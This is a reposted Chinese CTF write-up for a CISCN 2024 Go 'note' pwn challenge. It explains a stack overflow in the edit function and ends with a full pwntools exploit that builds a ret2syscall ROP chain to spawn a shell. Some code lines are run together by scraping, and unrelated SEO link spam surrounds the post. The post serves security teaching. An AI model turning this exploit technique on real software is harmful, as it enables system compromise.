当前位置: 首页 > news >正文

畅销的网站建设seo排名如何

畅销的网站建设,seo排名如何,自己做的网站给人攻击了怎么办,蓝色企业网站手机版织梦模板一道GoPwn,此外便是ret2syscall的利用。然而过程有不小的曲折,参考 返璞归真 师傅的wp,堪堪完成了复现。复现过程中,师傅也灰常热情回答我菜菜的疑问,感谢!2024全国大学生信息安全竞赛(ciscn&am…

一道GoPwn,此外便是ret2syscall的利用。然而过程有不小的曲折,参考 返璞归真 师傅的wp,堪堪完成了复现。复现过程中,师傅也灰常热情回答我菜菜的疑问,感谢!
2024全国大学生信息安全竞赛(ciscn)半决赛(华中赛区)Pwn题解-CSDN博客

目录

前言

一、题目逆向-edit函数栈溢出

二、利用分析

三、EXP 

总结  


前言

        可以说是做的第一道GoPwn。。。进度确实太慢;此外,除了学习了对GoPwn的调试、逆向,也关注了Gadget利用的一些trick,ret2syscall也又一次进阶式地复习,收获良多。


一、题目逆向-edit函数栈溢出

        静态分析Go语言的二进制程序,IDA7.5有插件支持反编译Go, IDA7.6已经支持。为此,我们使用IDA7.6分析,能很大程度上减少反编译出错的情况。

        依据go的调用规约,参数依次通过寄存器传递:AX、BX、CX、DI、SI、R8、R9、R10、R11 。go-1.17+ 调用规约

        可以很明显看到字符串复制的操作,关于v1;v3;v9;v10是什么含义,我们可以结合动调来分析。然而, 对于Go语言逆向,IDA支持不是很好,我们需要结合汇编代码和动态调试来分析。

        打下断点到edit函数

         目标字符串复制部分,继续下断点后continue

        结合IDA,知道v9实际上获取了栈上的一块地址&v16

 

        不妨改名v16为stack_buffer,v9为stack_index

         来看看动调,了解具体是怎么个事儿

        简单来说就是传入的新content,会写在栈上,而且似乎没有检查长度。直接尝试溢出

        实际上,IDA也可以看出来,由rbp索引,不过还是动调精准一些,可信度更高

二、利用分析

        存在栈溢出漏洞,程序是静态编译的,不可ret2libc,且gadget丰富,遂尝试ret2syscall,即构造execve('/bin/sh\x00',0,0)。ROPgadget看一下rop链好不好构造。

# 函数参数依次通过寄存器传递:AX、BX、CX、DI、SI、R8、R9、R10、R11
# 0x0000000000404408: pop rax; pop rbp; ret;
pop_rax_rbp_ret=0x0000000000404408
# 0x0000000000404541: pop rbx; ret;
pop_rbx_ret=0x0000000000404541
# 不存在pop rcx;ret的简单利用
# 不存在pop rdi;ret的简单利用

        看看系统调用syscall有没有什么点 

         都知道x64系统调用前三个参数在rdi、rsi、rdx寄存器中,这个函数的封装,即可理解为参数传递寄存器换了一个:

        rax和rbx都可以直接通过pop-ret简单修改,rcx、rdi没有直接的修改方法。

        但是考虑到execve('/bin/sh\x00',0,0),rcx和rdi的寄存器值为0即可,为此可以找找看xor self, self 或者mov register, 0的gadgets。而且由于rcx和rdi的驻留值不大,gadget的寻找可以扩大到对ecx,edi范围。于是就找到了:

 

 

        为此构造第二、三个寄存器的值为0就已经ok了。 

# execve('/bin/sh\x00',0,0):
#   -> rbx=ptr('/bin/sh\x00')
#   -> rcx=0
#   -> rdi=0
# 因为不存在pop rcx/rdi;ret的简单利用,可以尝试mov rcx/rdi, 0 或者xor rcx/rdi,rcx/rdi的清零手法
# 因为rax、rbx我们都可以简单利用,于是经过grep筛选,选用下面的gadget
# 0x000000000040318e: mov rcx, 0; ret;
# 0x000000000047ccd9 : xor ecx, ecx ; ret
zero_rcx=0x000000000040318e
# 0x0000000000411aee: xor edi, edi; add rsp, 0x10; pop rbp; ret;
zero_rdi=0x0000000000411aee

        但是我们还要往bss段上写'/bin/sh\x00',这个如何组织gadget,利用系统调用着实不方便,因为无法控制全部三个寄存器的值。

返璞归真师傅教了一招:mov [register1],register2

        其中register1和register2的值均可控——而现在rax、rbx、rbp、rdx的值我们可以很好的控制,grep一下ROPgadget的结果

         很好,这意味着'/bin/sh\x00'可以写了

# 需要将/bin/sh写到bss段上,但是write不好构造,可以用mov [register], register的方式
# 0x0000000000415312 : mov qword ptr [rax + 0x18], rbx ; ret
rbx_write2raxP0x18=0x0000000000415312bss=0x527088
# 写'/bin/sh\x00' 到bss+0x18
rop=b''
rop+=p64(pop_rax_rbp_ret)+p64(bss)+p64(0)
rop+=p64(pop_rbx_ret)+b'/bin/sh\x00'
rop+=p64(rbx_write2raxP0x18)

         然后构造execve('/bin/sh\x00',0,0)即可

# execve('/bin/sh\x00',0,0)
rop+=p64(zero_rcx)
rop+=p64(zero_rdi)+p64(0)*3
rop+=p64(pop_rbx_ret)+p64(bss+0x18)
rop+=p64(pop_rax_rbp_ret)+p64(59)+p64(0)
rop+=p64(syscall)

三、EXP 

from pwn import *
context(arch='amd64',log_level='debug')io=process('./note')gdb.attach(io);input()
# 函数参数依次通过寄存器传递:AX、BX、CX、DI、SI、R8、R9、R10、R11
# 0x0000000000404408: pop rax; pop rbp; ret;
pop_rax_rbp_ret=0x0000000000404408
# 0x0000000000404541: pop rbx; ret;
pop_rbx_ret=0x0000000000404541
# 不存在pop rcx;ret的简单利用
# 不存在pop rdi;ret的简单利用# 封装好的syscall调用——runtime_internal_syscall_Syscall6()
# .text:0000000000403160                 mov     r10, rsi
# .text:0000000000403163                 mov     rdx, rdi
# .text:0000000000403166                 mov     rsi, rcx
# .text:0000000000403169                 mov     rdi, rbx
# .text:000000000040316C                 syscall 
# 所以通过该函数的实现系统调用,前三个寄存器值为rbx,rcx,rdi,系统调用号rax
syscall = 0x403160# execve('/bin/sh\x00',0,0):
#   -> rbx=ptr('/bin/sh\x00')
#   -> rcx=0
#   -> rdi=0
# 因为不存在pop rcx/rdi;ret的简单利用,可以尝试mov rcx/rdi, 0 或者xor rcx/rdi,rcx/rdi的清零手法
# 因为rax、rbx我们都可以简单利用,于是经过grep筛选,选用下面的gadget
# 0x000000000040318e: mov rcx, 0; ret;
# 0x000000000047ccd9 : xor ecx, ecx ; ret
zero_rcx=0x000000000040318e
# 0x0000000000411aee: xor edi, edi; add rsp, 0x10; pop rbp; ret;
zero_rdi=0x0000000000411aee# 需要将/bin/sh写到bss段上,但是write不好构造,可以用mov [register], register的方式
# 0x0000000000415312 : mov qword ptr [rax + 0x18], rbx ; ret
rbx_write2raxP0x18=0x0000000000415312bss=0x527088
# 写'/bin/sh\x00' 到bss+0x18
rop=b''
rop+=p64(pop_rax_rbp_ret)+p64(bss)+p64(0)
rop+=p64(pop_rbx_ret)+b'/bin/sh\x00'
rop+=p64(rbx_write2raxP0x18)
# execve('/bin/sh\x00',0,0)
rop+=p64(zero_rcx)
rop+=p64(zero_rdi)+p64(0)*3
rop+=p64(pop_rbx_ret)+p64(bss+0x18)
rop+=p64(pop_rax_rbp_ret)+p64(59)+p64(0)
rop+=p64(syscall)payload=b'a'*(0x40)+ropio.sendlineafter(b'Your choice > ',b'1')
io.sendlineafter(b'Please input note content: ',b'1')
io.sendlineafter(b'Your choice > ',b'3')
io.sendlineafter(b'Please input note id: ',b'1')
io.sendlineafter(b'Please input new content: ',payload)
io.interactive()


总结 

在此再次感谢返璞归真师傅!本题受益良多,开心。 

http://www.hkea.cn/news/938682/

相关文章:

  • 做服务器的网站都有哪些搜狗关键词排名此会zjkwlgs
  • php动态网站开发 唐四薪 答案b站引流推广网站
  • 长沙3天2晚自由行攻略论述搜索引擎优化的具体措施
  • 外汇局网站做结汇申报被逆冬seo课程欺骗了
  • 网站运营配置免费网站在线观看人数在哪直播
  • 什么网站做一手房好系统优化的例子
  • wordpress 插入wordseo排名点击工具
  • 网站推广易网宣seo的主要分析工具
  • 安徽网站定制最大免费广告发布平台
  • 怎么查网站有没有做404公司宣传网页怎么做
  • 靠谱营销网站开发选哪家seo的优点和缺点
  • 企业网站建设论文文献综述百度推广的广告真实可信吗
  • 企业网站优化方式广州最新消息今天
  • 旅游网站开发的意义seo优化方案案例
  • 山东做网站的公司seo数据分析哪些方面
  • 做网站用哪几个端口 比较好百度贴吧官网网页
  • 弹幕网站是怎么做的百度在线翻译
  • 独立网站域名代发关键词包收录
  • 如何建立门户网站百度可以发布广告吗
  • 网站开发毕设文献郑州网站优化顾问
  • 青海建设银行的官方网站自己制作网页的网站
  • 网站建设的图片叠加步骤过程2021年搜索引擎排名
  • 网站链接到邮箱怎么做搜索引擎推广试题
  • 十堰城市建设网站制作自己的网站
  • 传媒网站建设公司深圳百度seo优化
  • 公司需要网站 该怎么做公司推广咨询
  • 高中男女做那个视频网站seo做的好的网站
  • 网站建设 摄影服务上海seo网站排名优化公司
  • 网页设计中html代码seo博客网站
  • 怎样建设小游戏网站google关键词搜索技巧